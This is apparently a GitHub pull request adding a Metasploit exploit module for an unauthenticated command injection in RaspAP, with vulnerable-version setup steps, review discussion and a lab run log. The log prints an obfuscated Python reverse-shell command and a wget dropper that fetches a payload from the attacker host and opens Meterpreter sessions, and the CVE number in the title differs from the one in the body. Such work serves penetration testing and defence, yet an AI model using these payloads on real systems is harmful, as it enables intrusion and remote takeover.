Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add RaspAP Unauthenticated Command Injection (CVE-2022-39986) Exploit #18263

Merged
merged 17 commits into from Aug 15, 2023

Conversation

EgeBalci
Copy link
Contributor

@EgeBalci EgeBalci commented Aug 4, 2023

Hello 馃憢

This module exploits the unquthenticated command injection veulnerability (CVE-2023-38096) in the raspap-webgui project. 聽The vulnerability exists in RaspAP versions 2.8.0 thru 2.8.7. It allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php.

Testing Environment Setup

For installing the vulnerable version follow the steps below,

  1. Follow the manual installation steps given here
  2. After setting up the service, navigate to the /var/www/html directory
  3. Do git checkout 2.8.0 for switching to the vulnerable version

Note: Project can also be installed inside ubuntu/debian docker containers

Verification

List the steps needed to make sure this thing works

  • msfconsole
  • Do: use exploit/unix/http/raspap_rce
  • Do: set RHOST [IP]
  • Do: set RPORT [PORT]
  • Do: check

modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
EgeBalci and others added 4 commits August 7, 2023 22:23
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
EgeBalci and others added 3 commits August 8, 2023 18:37
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the great module @EgeBalci, just a couple minor suggestions.

modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
documentation/modules/exploit/unix/http/raspap_rce.md Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
modules/exploits/unix/http/raspap_rce.rb Outdated Show resolved Hide resolved
EgeBalci and others added 8 commits August 9, 2023 21:24
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
@jvoisin
Copy link
Contributor

jvoisin commented Aug 10, 2023

I haven't looked at the configuration of RaspAP, but if the user under which it's running has blanket sudo permissions, it might be nice to prefix the payload with sudo to get root privileges :>

@EgeBalci
Copy link
Contributor Author

I haven't looked at the configuration of RaspAP, but if the user under which it's running has blanket sudo permissions, it might be nice to prefix the payload with sudo to get root privileges :>

That is not the case for my Ubuntu php7 setup. www-data user is well isolated.

@EgeBalci EgeBalci requested a review from jvoisin August 11, 2023 09:47
@jheysel-r7
Copy link
Contributor

Thanks @EgeBalci, the module looks great. I just pushed a quick change to update the documentation file to reflect that the default payload for the Unix Command target now returns a meterpreter session. I'll merge this once the CI tests finish running.

msf6 > use raspap
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                          Disclosure Date  Rank       Check  Description
   -  ----                          ---------------  ----       -----  -----------
   0  exploit/unix/http/raspap_rce  2023-07-31       excellent  Yes    RaspAP Unauthenticated Command Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/raspap_rce

[*] Using exploit/unix/http/raspap_rce
msf6 exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130
rhosts => 172.16.199.130
msf6 exploit(unix/http/raspap_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGMNmqZVdrCDiQUQEd28i0iajhqZpSLJaFf+7DVmcwwxv5s2bDzP6KSQcJzVA4t/W9LzvIjQ1jykcVOLJjIBep4BnbBwOnXsDKldsi6oUvhZfxbY0ixLomh/x7uH67mW3f7y5umeZJ9TkHKhEKZHnayEbITcbIQmvF2OZ0gfoBlTBrMCnrJ2Hi2gBPD1jyLZlJ3FwvlMDJZe3hEcRQH3QReBp9Yx0e8SWoc93YwFbcFSzC7vI6ZP/6mlJMwQzKJrPFhrUNPoAMdLyAdE3dU5qyEz+QyLZxl+G/gDVz18D\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24772 bytes) to 172.16.199.130
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.130:48494) at 2023-08-14 20:38:21 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : debian
OS           : Linux 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27)
Architecture : x64
Meterpreter  : python/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.199.130 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(unix/http/raspap_rce) > set target 1
target => 1
msf6 exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper
[*] Using URL: http://172.16.199.1:8080/JosEJoBU0G8v
[*] Client 172.16.199.130 (Wget/1.21.3) requested /JosEJoBU0G8v
[*] Sending payload to 172.16.199.130 (Wget/1.21.3)
[*] Sending stage (3045380 bytes) to 172.16.199.130
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.130:49950) at 2023-08-14 20:40:51 -0400
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : debian.test.com
OS           : Debian 12.1 (Linux 6.1.0-10-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

@jheysel-r7 jheysel-r7 merged commit 6cf136e into rapid7:master Aug 15, 2023
34 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Aug 15, 2023
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds an unauthenticated command injection module for the RaspAP webgui application.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

3 participants